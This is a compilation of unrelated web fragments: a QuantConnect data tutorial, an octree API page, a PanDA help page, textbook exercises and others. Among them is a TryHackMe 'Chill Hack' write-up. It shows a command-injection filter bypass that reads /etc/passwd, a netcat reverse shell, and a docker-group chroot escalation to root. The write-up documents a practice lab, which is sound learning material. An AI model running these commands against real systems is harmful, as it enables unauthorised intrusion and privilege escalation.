The United States Energy Information Administration (EIA) publishes bulk archives of energy data. QuantConnect processes and caches petroleum data from these archives for easy deployment. The EIA petroleum data contains roughly 200 metrics for a variety of countries. You can find a full list of these metrics in the Alternative Data documentation.
We can analyze how the US stockpile of motor gasoline correlates to value of Chevron (CVX), a multinational energy corporation. We will need price data for CVX and EIA data for Weekly Ending Stocks Of Finished Motor Gasoline. In order to make a history call, we need to first subscribe to data. We can subscribe to CVX data using qb.AddEquity(Symbol)
and qb.AddData(USEnergy, Selector)
, where Selector is the metric we wish to analyze.
# Add Chevron (CVX) to see how it relates to petroleum metrics cvx = self.AddEquity("CVX") # Add weekly finished motor gasoline stockpile data weekly_finished_motor_gasoline = self.AddData(USEnergy, USEnergy.Petroleum.UnitedStates.WeeklyEndingStocksOfFinishedMotorGasoline)
We can then make requests for the petroleum metric data using qb.History
. History calls for alternative data sources are similar to history calls for price data. We can use either qb.History(Type, Symbol, StartDate, EndDate)
, where Type is the data type, Symbol is the symbol for which to retrieve data for, or we can use qb.History(Type, Symbol, Period)
, which returns historical data from the given past period starting from today's date.
# We request for 1000 days of data starting from today cvx_history = self.History(cvx, timedelta(days=1000), Resolution.Hour) gas_history = self.History(USEnergy, weekly_finished_motor_gasoline, timedelta(days=1000)) # Drop the Symbol index from multi-index dataframe cvx_history = cvx_history.reset_index(level=0, drop=True) gas_history = gas_history.reset_index(level=0, drop=True)
One way to visualize how the value of CVX correlates to the stockpile of motor gasoline is to plot the cumulative returns of CVX against the cumulative % change in the stockpile.
# Plot the cumulative percent change in the returns of CVX cvx_history['close'].pct_change().cumsum().plot() # Plot the cumulative percent change in the stockpile gas_history['value'].pct_change().cumsum().plot() # Format chart plt.legend(('CVX Returns', 'Finished Motor Gasoline % Change'))


Double potential well example
This is a simulation of the system
\ddot{x} = -U'(x) - \lambda\dot{x} + \eta
where
U(x)
is the potential function given by
U(x) = {{params.pA[0]/4}} x^4 - {{params.pA[1]/2}}(x - {{params.pA[2]}})^2
Run Simulation


Uncontained.io is pushing the boundaries when it comes to putting emerging technologies into practice in the enterprise
We are a community of experts passionate about the part that technologies play in the digital trasnformation journey.
We are a community of experts passionate about the part that technologies play in the digital trasnformation journey.


Bulk Index
Fetch:
Offset:
Here's {{number_returned}} (more) products to index:
{% for product in products %}
{{product.name}}
{% endfor %}
MAXIMUM EFFORT!
(
I mean it! )


Not Kart
Press space to play
Use Left/Right Arrows to steer. Don't hit the walls or the cacti!
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Get updates in your inbox every time there is a new font or significant updates/improvements to an existing one. By subscribing to my news letter you’ll never miss the latest indestructible type* creation.
Created with love by Owen Earl


Welcome
This is a survey form, from Alexis and Yeison
Name:
Email:
Number:
Sex:
Male
Female
Adult:
Underage:
Number 1:
Number 2:
Additional comments
:


EU Retail Sales YoY %
Release Dt
Mkt Expn
Kshitij Expn
Previous
Released
Revision
8-Jan-18
0.8
-
-1.0
2.7
1.4
5-Feb-18
0.4
2.2
1.4
2.2
0.5
5-Mar-18
2.5
1.7
0.5
2.1
-
5-Apr-18
-
-
2.0
-
-


Group Project 1 - eQuipt
This app has been designed to help out the LARPing community (Live Action Role Play). It allows users to digitize their game inventories and allow trading among players while also allowing admin users the ability to create in-game items. To view the app itself, find it on Heroku here: https://larp-equipt.herokuapp.com/
Group Project 2 - Prodigies
Prodigies was a collaborative construction with my fellow coding schoolmates. It's intended use was to provide a forum and links to online educational games for young students. The intention was that students, parents, or teachers would be able add game to the site and students could rate them on their quality.
Group Project 3 - Your Day Today
Your Day Today is a daily dashboard of information for you today! Simply create an account/log in and you will be presented with weather information as well as today's news, interesting events in history that happened on today's date, as well as the ability to add to-do's to your list.


---
layout: null
section-type: about
title: About
---
## About
Hey there! Welcome to my online playground where I post random thoughts and ideas website.
I am Babis and I 'm currently working as a control plane engineer at Volta Networks. At Volta
we're taking advantage of the cloud in order to provide low-cost, highly scalable routing infrastructure.
Apart from my work at Volta, I am interested in any technology enabling the development, deployment or management of efficient and
scalable software. Recently, I started playing around with Unikernels. Unikernels allow the
deployment of minimal size, secure and efficient applications. That sounds like a good fit for the cloud and embedded IoT devices,
doesn't it? :)
This blog is built using the {Personal} jekyll theme and
hosted by github pages.


---
layout: archive
title: "Resources"
permalink: /resources/
author_profile: true
---
``MuCo-VQA (Visual Question Answering Dataset)``
Paper
DataSet
Bibtex
By downloading you agree to use the datasets for research purpose only and cite the below paper.
Humair Raj Khan*, Deepak Gupta*, Asif Ekbal Towards Developing a Multilingual and Code-Mixed Visual Question Answering System by Knowledge Distillation Findings of the Association for Computational Linguistics: EMNLP 2021
``MCVQA Dataset (Visual Question Answering Dataset)``
Paper
DataSet
Bibtex
By downloading you agree to use the datasets for research purpose only and cite the below paper.
Deepak Gupta, Pabitra Lenka, Asif Ekbal, Pushpak Bhattacharyya A Unified Framework for Multilingual and Code-Mixed Visual Question Answering. In Proceedings of the Proceedings of the 1st Conference of the Asia-Pacific Chapter of the Association for Computational Linguistics and the 10th International Joint Conference on Natural Language Processing (AACL).
``Parallel Code-Mixed Dataset``
Paper
DataSet
Bibtex
By downloading you agree to use the datasets for research purpose only and cite the below paper.
Gupta, D., Ekbal, A. and Bhattacharyya, P., 2020, November. A Semi-supervised Approach to Generate the Code-Mixed Text using Pre-trained Encoder and Transfer Learning. In Proceedings of the 2020 Conference on Empirical Methods in Natural Language Processing: Findings (pp. 2267-2280).
English Hindi Question Answering
Paper
DataSet
Bibtex
By downloading you agree to use the datasets for research purpose only and cite the below paper.
DEEPAK GUPTA, ASIF EKBAL, and PUSHPAK BHATTACHARYYA, A Deep Neural Network Framework for English Hindi
Question Answering, In the ACM Trans. Asian Low-Resour. Lang. Inf. Process., Vol. 19, No. 2, Article 25. Publication date: November 2019.
Question Generation and Neural Based Question Answering
Paper
DataSet
Bibtex
By downloading you agree to use the datasets for research purpose only and cite the below paper.
Deepak Gupta, Pabitra Lenka, Asif Ekbal, Pushpak Bhattacharyya, Uncovering Code-Mixed Challenges: A Framework for Linguistically Driven Question Generation and Neural Based Question Answering, In the Proceedings of the 22nd Conference on Computational Natural Language Learning.
Semantic Question Matching
Paper
DataSet
Bibtex
By downloading you agree to use the datasets for research purpose only and cite the below paper.
Deepak Gupta, Rajkumar Pujari, Asif Ekbal, Pushpak Bhattacharyya, Anutosh Maitra, Tom Jain, Shubhashis Sengupta, Can Taxonomy Help? Improving Semantic Question Matching using Question Taxonomy, In the Proceedings of the 27th International Conference on Computational Linguistics.
Multi-domain Multi-lingual Question-Answering
Paper
DataSet
Bibtex
By downloading you agree to use the datasets for research purpose only and cite the below paper.
Deepak Gupta, Surabhi Kumari, Asif Ekbal, Pushpak Bhattacharyya, MMQA: A Multi-domain Multi-lingual Question-Answering Framework for English and Hindi, In the Proceedings of the Eleventh International Conference on Language Resources and Evaluation (LREC 2018).


Verify that attack vectors for cloud applications have been identified.
As part of the AWS shared security model, you must address security functions in order to manage, monitor, alert, audit and respond to incidents. To effectively carry out these responsibilities you must identify attack vectors in a security framework document.
In the cloud your responsibility is to securely manage running OS instances and applications, and protect data stores. As part of your security posture, maintain on-going awareness of info-sec, vulnerabilities, and threats.
When running an application in the cloud, you are required to secure the application. A variety of infrastructure safeguards are provided by AWS. You must always provide additional protection, especially when your application works with sensitive information.
To verify that attack vectors for cloud applications have been identified:
Identify responsible personnel. Find and interview personnel responsible for threat modeling for cloud applications about attack vectors.
Examine documented attack vectors. Examine documentation about the identified attack vectors and assess its quality.
The following activity provides a suggested method for exposing application security flaws so that you can achieve a secure posture. The products include a security frame with categories, vulnerabilities, threats and attack vectors. Security controls and incident response will benefit from this framework.
Define a security framework. Select a security frame so that you can organize the application's vulnerabilities and threats.
Decide classification categories. Common categories, such as input and data validation, sensitive data, and cryptography, can be reviewed for appropriate use with your web application.
Examine vulnerabilities. In your security frame add vulnerabilities to each category. For example, the cryptography category has vulnerability to failure to secure keys, as well as insecure distribution of keys.
Use a threat model. Apply a threat risk modeling tool or method to survey the web application, decompose it, and identify vulnerabilities and threats. This will minimize the use of resources, and provide an efficient method to be used for identifying attack vectors.
Identify attack vectors. Use the results of threat modeling to identify specific attack vectors for the application. Attack vectors may be associated with multiple threats. Once identified and integrated with your security frame, you can examine the controls and incidence response items which apply.


PointOctree
Extends:
Indirect Implements:
- Iterable
An octree that manages points.
Constructor Summary
| Public Constructor | ||
| public |
constructor(min: Vector3, max: Vector3, bias: Number, maxPoints: Number, maxDepth: Number) Constructs a new point octree. |
Member Summary
| Public Members | ||
| public |
The amount of points that are currently in this octree. |
|
| public |
The root octant. |
Method Summary
| Public Methods | ||
| public |
countPoints(octant: Octant): Number Counts how many points are in the given octant. |
|
| public |
Retrieves the data of the specified point. |
|
| public |
findNearestPoint(point: Vector3, maxDistance: Number, skipSelf: Boolean): Object Finds the closest point to the given one. |
|
| public |
findPoints(point: Vector3, radius: Number, skipSelf: Boolean): Array Finds points that are in the specified radius around the given position. |
|
| public |
Moves an existing point to a new position. |
|
| public |
Puts a point into the octree. |
|
| public |
raycast(raycaster: Raycaster, intersects: Array): RayPointIntersection[] Finds the points that intersect with the given ray. |
|
| public |
Removes a point from the tree. |
|
| public |
testPoints(octants: Octant[], raycaster: Raycaster, intersects: Array) Collects points that intersect with the given ray. |
Inherited Summary
| From class Octree | ||
| public get |
The children of the root octant. |
|
| public get |
max: Vector3 The upper bounds of the root octant. |
|
| public get |
min: Vector3 The lower bounds of the root octant. |
|
| public |
The root octant. |
|
| public |
[Symbol.iterator](): * |
|
| public |
Recursively collects octants that intersect with the specified region. |
|
| public |
findOctantsByLevel(level: Number): Octant[] Fetches all octants with the specified depth level. |
|
| public |
getCenter(target: Vector3): Vector3 Calculates the center of this octree. |
|
| public |
Calculates the current depth of this octree. |
|
| public |
getDimensions(target: Vector3): Vector3 Calculates the size of this octree. |
|
| public |
leaves(region: Frustum | Box3): OctantIterator Returns an iterator that traverses the octree and returns leaf nodes. |
|
| public |
Finds the octants that intersect with the given ray. |
Public Constructors
public constructor(min: Vector3, max: Vector3, bias: Number, maxPoints: Number, maxDepth: Number) source
Constructs a new point octree.
Override:
Octree#constructorParams:
| Name | Type | Attribute | Description |
| min | Vector3 |
|
The lower bounds of the tree. |
| max | Vector3 |
|
The upper bounds of the tree. |
| bias | Number |
|
An octant boundary bias. |
| maxPoints | Number |
|
Number of distinct points per octant before it splits up. |
| maxDepth | Number |
|
The maximum tree depth level, starting at 0. |
Public Members
Public Methods
public countPoints(octant: Octant): Number source
Counts how many points are in the given octant.
Params:
| Name | Type | Attribute | Description |
| octant | Octant | An octant. |
public fetch(point: Vector3): Object source
Retrieves the data of the specified point.
Params:
| Name | Type | Attribute | Description |
| point | Vector3 | A position. |
public findNearestPoint(point: Vector3, maxDistance: Number, skipSelf: Boolean): Object source
Finds the closest point to the given one.
Return:
| Object | An object representing the nearest point or null if there is none. The object has a point and a data property. |
public findPoints(point: Vector3, radius: Number, skipSelf: Boolean): Array source
Finds points that are in the specified radius around the given position.
public move(point: Vector3, position: Vector3): Object source
Moves an existing point to a new position. Has no effect if the point doesn't exist.
Params:
| Name | Type | Attribute | Description |
| point | Vector3 | The point. |
|
| position | Vector3 | The new position. |
public put(point: Vector3, data: Object): Boolean source
Puts a point into the octree.
Params:
| Name | Type | Attribute | Description |
| point | Vector3 | A point. If it's already in the octree, the data entry will be updated. |
|
| data | Object | A data object that belongs to the point. |
public raycast(raycaster: Raycaster, intersects: Array): RayPointIntersection[] source
Finds the points that intersect with the given ray.
Override:
Octree#raycastParams:
| Name | Type | Attribute | Description |
| raycaster | Raycaster | The raycaster. |
|
| intersects | Array |
|
An array to be filled with the intersecting points. |
public remove(point: Vector3): Object source
Removes a point from the tree.
Params:
| Name | Type | Attribute | Description |
| point | Vector3 | A point. |


Chill Hack TryHackMe Writeup
Chill Hack Room Writeup
First Stage : Enumeration
Let’s start with a nmap scan.
# Nmap 7.91 scan initiated Tue Dec 8 19:00:53 2020 as: nmap -sC -sV -vv -p- -oN nmapscan <IP_ADDRESS>
Nmap scan report for <IP_ADDRESS>
Host is up, received syn-ack (0.17s latency).
Scanned at 2020-12-08 19:00:54 IST for 1431s
Not shown: 65532 closed ports
Reason: 65532 conn-refused
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1001 1001 90 Oct 03 04:33 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:<IP_ADDRESS>
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcxgJ3GDCJNTr2pG/lKpGexQ+zhCKUcUL0hjhsy6TLZsUE89P0ZmOoQrLQojvJD0RpfkUkDfd7ut4//Q0Gqzhbiak3AIOqEHVBIVcoINja1TIVq2v3mB6K2f+sZZXgYcpSQriwN+mKgIfrKYyoG7iLWZs92jsUEZVj7sHteOq9UNnyRN4+4FvDhI/8QoOQ19IMszrbpxQV3GQK44xyb9Fhf/Enzz6cSC4D9DHx+/Y1Ky+AFf0A9EIHk+FhU0nuxBdA3ceSTyu8ohV/ltE2SalQXROO70LMoCd5CQDx4o1JGYzny2SHWdKsOUUAkxkEIeEVXqa2pehJwqs0IEuC04sv
| 256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFetPKgbta+pfgqdGTnzyD76mw/9vbSq3DqgpxPVGYlTKc5MI9PmPtkZ8SmvNvtoOp0uzqsfe71S47TXIIiQNxQ=
| 256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKHq62Lw0h1xzNV41zO3BsfpOiBI3uy0XHtt6TOMHBhZ
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7EEEA719D1DF55D478C68D9886707F17
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Game Info
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 8 19:24:45 2020 -- 1 IP address (1 host up) scanned in 1432.84 seconds
So ports which are open are :
- 21
- 22
- 80
If we go to the website at port 80. We can see this
Let’s try port 21 .
Since anonymous login is enabled the username and password is anonymous
ftp <ip>
The content’s of the note.txt
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
Let’s fireup gobuster and scan . We get this .
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://<IP_ADDRESS>/
[+] Threads: 50
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2021/01/12 20:40:26 Starting gobuster
===============================================================
/about.html (Status: 200)
/contact.html (Status: 200)
/contact.php (Status: 200)
/news.html (Status: 200)
/images (Status: 301)
/index.html (Status: 200)
/blog.html (Status: 200)
/css (Status: 301)
/team.html (Status: 200)
/js (Status: 301)
/fonts (Status: 301)
/secret (Status: 301)
/server-status (Status: 403)
Interesting directory here is
- secret
Second Stage : Initial access as www-data
Let’s visit it .
I captured the request in Burpsuite and sent it to repeater.
 So I searched for ‘bash command injection filter bypass’ in google and found this link
The filter which worked was :
cat$IFS/etc/passwd
We need to see what commands are blacklisted in order to get a proper reverse shell.
Hence we try
cat${IFS}index.php
So if we go to the source code we can see the index.php .
'nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls'
After trying many filters I came to conclusion that I have to use double quotes filter to get a reverse shell.
r"m" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> 1234 >/tmp/f
Third Stage : www-data to apaar
So our first step is to run linpeas script and get info on privilege escalation to user.
After running we get :
And the contents of .helpline.sh are :
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null
echo "Thank you for your precious time!"
Hence the exploit is as follows :
And we get the user flag .
Fourth Stage : apaar to anurodh
So I put my public key in the authorized_keys file and ssh into the machine as apaar.
After trying
sudo -l
So there is no use of this . From the linpeas scan I found that a database server was running hence I searched for credentials and after sometime I got it in
/var/www/files/index.php
Now we can use this command to login to mysql.
mysql -u root -p
After that I go and list the databases and saw an interesting database called webportal. Inside that I found a table called users.
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username | password |
+----+-----------+----------+-----------+----------------------------------+
| 1 | Anurodh | Acharya | Aurick | <redacted hash> |
| 2 | Apaar | Dahal | cullapaar | <redacted hash> |
+----+-----------+----------+-----------+----------------------------------+
After cracking these passwords I tried for different users , but none of them worked.
After searching some time I found that there was a port 9001 running in the machine which I missed during the linpeas results.
Hence I do an ssh port forwarding using
ssh -i id_rsa apaar@ -L 9001:<IP_ADDRESS>:9001
After I go to http://localhost:9001 .
I use the passwords I got in mysql database and it worked.
So I login and see this.
I had a doubt on the image there so I downloaded the image and used
steghide –info hackerwithlaptop.jpg
It was embedded with backup.zip . Hence I extracted it using
steghide –extract -sf hackerwithlaptop.jpg
When I tried to unzip I found it was password protected .
zip2john backup.zip > ziphash
Then I used john to crack the password.
I found a file called source_code.php

Admin Portal

<title> Site Under Development ... </title>

<form method="POST">
Username: <input type="text" name="name" placeholder="username">

Email: <input type="email" name="email" placeholder="email">

Password: <input type="password" name="password" placeholder="password">
<input type="submit" name="submit" value="Submit">
</form>
<?php
if(isset($_POST['submit']))
{
$email = $_POST["email"];
$password = $_POST["password"];
if(base64_encode($password) == "<redacted base64 encoded pass>")
{
$random = rand(1000,9999);?>

<form method="POST">
Enter the OTP: <input type="number" name="otp">
<input type="submit" name="submitOtp" value="Submit">
</form>
<?php mail($email,"OTP for authentication",$random);
if(isset($_POST["submitOtp"]))
{
$otp = $_POST["otp"];
if($otp == $random)
{
echo "Welcome Anurodh!";
header("Location: authenticated.php");
}
else
{
echo "Invalid OTP";
}
}
}
else
{
echo "Invalid Username or Password";
}
}
?>

If we do
echo “<base64 encoded pass>” | base64 -d
We get pass.
Fifth Stage : Anurodh to root
After we run id command we get
So I searched “docker group privilege escalation” and found a GTFObins page .
docker run -v /:/mnt –rm -it alpine chroot /mnt sh
Hence if we run the command we get root.


OAuth2 Information
Thank you for signing up.
Copy the following OAuth2 Code and paste it to the appropriate area.
{% highlight ruby %} OAUTH2_CODE {% endhighlight %}---
name: oauth2callback.html
layout: layout
title: "OAuth2 Information"
sitejs: disabled
---
Thank you for signing up.
Copy the following OAuth2 Code and paste it to the appropriate area.
OAuth2 Information


2016-01-21 Ver2.13
Fixed a bug where the main activity is to kill
2015-10-20 Ver2.12
Fixed a bug that synchronization does not start at the scheduled time.(Android 6.0)
2015-06-23 Ver2.11
The mobile phone was resolved to kill the bug and to display the file selection dialog by sideways.
2015-04-16 Ver2.10
It solved the bug to kill with additional Action profile.
2015-04-21 Ver2.09
Activity startup to the corresponding to the bug to kill in the Ringtone list acquisition
2015-04-18 Ver2.07-2.08
Events in the proximity sensor is to ignore that occur in double
2015-04-12 Ver2.06
to be able to switch to enable or disable key guard.
Create a list of trusted devices, it was to be able to confirm whether it is connected to a trusted device. (Add isTrusted(),IF_SKIP_TRUSTED, IF_SKIP_NOT_TRUSTED, IF_ABORT_TRUSTED, IF_ABORT_NOT_TRUSTED)
When it is connected to a trusted device is to be able to hide a key guard.(To enable the "Do not display the key guard when that has been connected to a trusted device" in QuickTask setting)
2015-03-15 Ver2.05
Fixed a bug that kill the application when task information displayed.
2015-03-15 Ver2.04
Tab switching by swipe
2015-01-22 Ver2.03
Add wake lock option screen off
Reuse BeanShell execution environment for reduce task startup time
2015-01-11 Ver2.02
Optimize Wake lock acquisition method of Sensor value processing
2015-01-09 Ver2.01
The return value of the proximity sensor corresponds to the case of one or more
2014-12-11 Ver2.00
Add a button to the notification of the lock screen (silent and screen off) and the optimization of display content
2014-11-16 Ver1.99
UI changes
Corresponding to the phenomenon that does not function in the silent button once in Android 5.0
2014-10-31 Ver1.98
Change the items that can be used in the context menu to display button at the bottom of the screen
It was to be able to run Shell command in the Action profile, and can execute commands with root privileges when you enable the root in the configuration options in the root acquired terminal.
2014-09-07 Ver1.97
Fixed a bug that both context menu and select an item in the Extra data editing screen of Action profile is processed
2014-07-03 Ver1.96
Fixed a bug that turned off WiFi when WiFi is connected to AP.(QuickTask Profile only)
2014-06-26 Ver1.95
To improve screen layout
Change not to do anything the initial value of the QuickTask profile
2014-05-08 Ver1.94
Fixed a bug to kill a group of non-QT has not been created with a copy of the Profile.
2014-04-25 Ver1.93
Fixed the appearance of the TAB
2014-04-08 Ver1.92
Optimize Wi-Fi Icon
2014-03-26 Ver1.91
Changed to not check the end
Optimization of Widget ICON, minimization of the memory usage in the Bitmap
2014-03-02 Ver1.90
Adjust the size of the Widget icon
2014-02-06 Ver1.89
Adjust the color of the Wi-Fi ICON
2014-01-03 Ver1.88
Reorganized Help
2013-12-04 Ver1.87
Fixed a bug that may not be detected off of Wi-Fi
2013-11-04 Ver1.86
Fixed a bug that killed 4.4 KitKat Android


Passive video liveness configuration detected - Available liveness demos :
Passive video liveness
Passive video liveness with matching


Help:
Contextual help for monitor pages can be found at the bottom of each page. Use the help menu in the upper right corner to navigate directly. All the monitor-internal help documentation is gathered on a complete help page available in the Help menu at upper right.
Bookmarking pages of interest to you is recommended. Save that useful drill-down rather than doing all the clicking again.
All monitor pages are bookmarkable (the full specification of the page is in the URL).
The most relevant links based on your visit history can be found on the top of My BigPanDA page.
Not all the capability is expressed explicitly on the interface at present (partly deliberately to go easy on the DB).
You can often extend the depth and breadth of queries with options like &days=N
, &limit=N
on the URL.
The monitor has a secure https mode. If you go to https://bigpanda.cern.ch and you have configured your browser to present your grid certificate, the monitor will automatically recognize and authenticate you if you have run PanDA jobs with that cert. This authentication will enable you to access non-public information in the monitor and invoke actions through the interface (once available).
{% endcomment %}If you need to use PanDA data programmatically, json dumps are available. See API section or search on 'curl' in the in the complete help page. Use with caution; do not pull huge amounts of data, especially systematically. Do not use web scraping, use these json dumps. If you need to extract other information, tell us.
Send your suggestions and requests for the PanDA monitor to PanDA monitor support.
{% if viewParams.MON_VO == 'ATLAS' %}Problem reports for which you want assistance ASAP should be sent (as ever) to the distributed analysis support team (DAST) list<EMAIL_ADDRESS>not the monitor support list.
{% endif %}PanDA is described and documented on the PanDA docs. JEDI documentation can be found here.
{% if viewParams.MON_VO == 'ATLAS' %}Use the hn-atlas-dist-analysis-help e-group to learn about distributed analysis problems and their reported solutions and to report problems of your own.
A distributed analysis shift team (DAST) provides user support for distributed analysis.
The ATLAS Distributed Computing Operations Logbook logs service issues with PanDA and much else.
Issues with ATLAS PanDA itself are tracked in the JIRA ATLASPANDA project.
{% endif %}


Amazon fights Microsoft's JEDI contract win in court over bias claims
by Mark Wyciślik-WilsonWhen Microsoft was awarded the controversial $10 billion JEDI contract by the US Department of Defense, many people voiced surprise -- including rival bidder Amazon.
Now Jeff Bezos' company is heading to court, claiming that the process of choosing who to assign the contract to was biased. But these claims have been denied, with the Department of Defense saying there was no outside influence involved in the decision.
See also:
- Microsoft awarded Pentagon's controversial JEDI contract
- Microsoft will honor Californian privacy laws across the entire US
- As Windows 10 April 2018 Update (1803) reaches end of service, Microsoft pushes May 2019 Update
Amazon says that politics colored the decision taken when awarding the Joint Enterprise Defense Infrastructure cloud contract to Microsoft. This appears to be in reference to the fact that President Trump has been critical of both Amazon as a company, as of its founder Jeff Bezos.
A spokesperson for Amazon said:
AWS is uniquely experienced and qualified to provide the critical technology the US military needs, and remains committed to supporting the DoD's modernization efforts. We also believe it's critical for our country that the government and its elected leaders administer procurements objectively and in a manner that is free from political influence. Numerous aspects of the JEDI evaluation process contained clear deficiencies, errors, and unmistakable bias -- and it's important that these matters be examined and rectified.
The Pentagon decision was defended by US Defense Secretary Mark Esper. He said: "I am confident it was conducted freely and fairly, without any type of outside influence".
Image credit: Hadrian / Shutterstock


Showing approximate prices per work. Contact for more details.
Prices can go up and down, depending how specific your project is.


20. Learning Probabilistic Models
Exercise 20.1 [bayes-candy-exercise]
The data used for Figure bayes-candy-figure on page bayes-candy-figure can be viewed as being generated by $h_5$. For each of the other four hypotheses, generate a data set of length 100 and plot the corresponding graphs for $P(h_i|d_1,\ldots,d_N)$ and $P(D_{N+1}=lime|d_1,\ldots,d_N)$. Comment on your results.
Repeat Exercise bayes-candy-exercise, this time plotting the values of $P(D_{N+1}=lime|h_{MAP})$ and $P(D_{N+1}=lime|h_{ML})$.
Exercise 20.3 [candy-trade-exercise]
Suppose that Ann’s utilities for cherry and lime candies are $c_A$ and $\ell_A$, whereas Bob’s utilities are $c_B$ and $\ell_B$. (But once Ann has unwrapped a piece of candy, Bob won’t buy it.) Presumably, if Bob likes lime candies much more than Ann, it would be wise for Ann to sell her bag of candies once she is sufficiently sure of its lime content. On the other hand, if Ann unwraps too many candies in the process, the bag will be worth less. Discuss the problem of determining the optimal point at which to sell the bag. Determine the expected utility of the optimal procedure, given the prior distribution from Section statistical-learning-section.
Two statisticians go to the doctor and are both given the same prognosis: A 40% chance that the problem is the deadly disease $A$, and a 60% chance of the fatal disease $B$. Fortunately, there are anti-$A$ and anti-$B$ drugs that are inexpensive, 100% effective, and free of side-effects. The statisticians have the choice of taking one drug, both, or neither. What will the first statistician (an avid Bayesian) do? How about the second statistician, who always uses the maximum likelihood hypothesis?
The doctor does some research and discovers that disease $B$ actually comes in two versions, dextro-$B$ and levo-$B$, which are equally likely and equally treatable by the anti-$B$ drug. Now that there are three hypotheses, what will the two statisticians do?
Explain how to apply the boosting method of Chapter concept-learning-chapter to naive Bayes learning. Test the performance of the resulting algorithm on the restaurant learning problem.
Exercise 20.6 [linear-regression-exercise]
Consider $N$ data points $(x_j,y_j)$, where the $y_j$s are generated from the $x_j$s according to the linear Gaussian model in Equation (linear-gaussian-likelihood-equation). Find the values of $\theta_1$, $\theta_2$, and $\sigma$ that maximize the conditional log likelihood of the data.
Exercise 20.7 [noisy-OR-ML-exercise]
Consider the noisy-OR model for fever described in Section canonical-distribution-section. Explain how to apply maximum-likelihood learning to fit the parameters of such a model to a set of complete data. (Hint: use the chain rule for partial derivatives.)
Exercise 20.8 [beta-integration-exercise]
This exercise investigates properties of the Beta distribution defined in Equation (beta-equation).
-
By integrating over the range $[0,1]$, show that the normalization constant for the distribution $[a,b]$ is given by $\alpha = \Gamma(a+b)/\Gamma(a)\Gamma(b)$ where $\Gamma(x)$ is the Gamma function, defined by $\Gamma(x+1)x\cdot\Gamma(x)$ and $\Gamma(1)1$. (For integer $x$, $\Gamma(x+1)x!$.)
-
Show that the mean is $a/(a+b)$.
-
Find the mode(s) (the most likely value(s) of $\theta$).
-
Describe the distribution $[\epsilon,\epsilon]$ for very small $\epsilon$. What happens as such a distribution is updated?
Exercise 20.9 [ML-parents-exercise]
Consider an arbitrary Bayesian network, a complete data set for that network, and the likelihood for the data set according to the network. Give a simple proof that the likelihood of the data cannot decrease if we add a new link to the network and recompute the maximum-likelihood parameter values.
Consider a single Boolean random variable $Y$ (the “classification”). Let the prior probability $P(Y=true)$ be $\pi$. Let’s try to find $\pi$, given a training set $D=(y_1,\ldots,y_N)$ with $N$ independent samples of $Y$. Furthermore, suppose $p$ of the $N$ are positive and $n$ of the $N$ are negative.
-
Write down an expression for the likelihood of $D$ (i.e., the probability of seeing this particular sequence of examples, given a fixed value of $\pi$) in terms of $\pi$, $p$, and $n$.
-
By differentiating the log likelihood $L$, find the value of $\pi$ that maximizes the likelihood.
-
Now suppose we add in $k$ Boolean random variables $X_1, X_2,\ldots,X_k$ (the “attributes”) that describe each sample, and suppose we assume that the attributes are conditionally independent of each other given the goal $Y$. Draw the Bayes net corresponding to this assumption.
-
Write down the likelihood for the data including the attributes, using the following additional notation:
-
$\alpha_i$ is $P(X_i=true | Y=true)$.
-
$\beta_i$ is $P(X_i=true | Y=false)$.
-
$p_i^+$ is the count of samples for which $X_i=true$ and $Y=true$.
-
$n_i^+$ is the count of samples for which $X_i=false$ and $Y=true$.
-
$p_i^-$ is the count of samples for which $X_i=true$ and $Y=false$.
-
$n_i^-$ is the count of samples for which $X_i=false$ and $Y=false$.
[Hint: consider first the probability of seeing a single example with specified values for $X_1, X_2,\ldots,X_k$ and $Y$.]
-
-
By differentiating the log likelihood $L$, find the values of $\alpha_i$ and $\beta_i$ (in terms of the various counts) that maximize the likelihood and say in words what these values represent.
-
Let $k = 2$, and consider a data set with 4 all four possible examples of thexor function. Compute the maximum likelihood estimates of $\pi$, $\alpha_1$, $\alpha_2$, $\beta_1$, and $\beta_2$.
-
Given these estimates of $\pi$, $\alpha_1$, $\alpha_2$, $\beta_1$, and $\beta_2$, what are the posterior probabilities $P(Y=true | x_1,x_2)$ for each example?
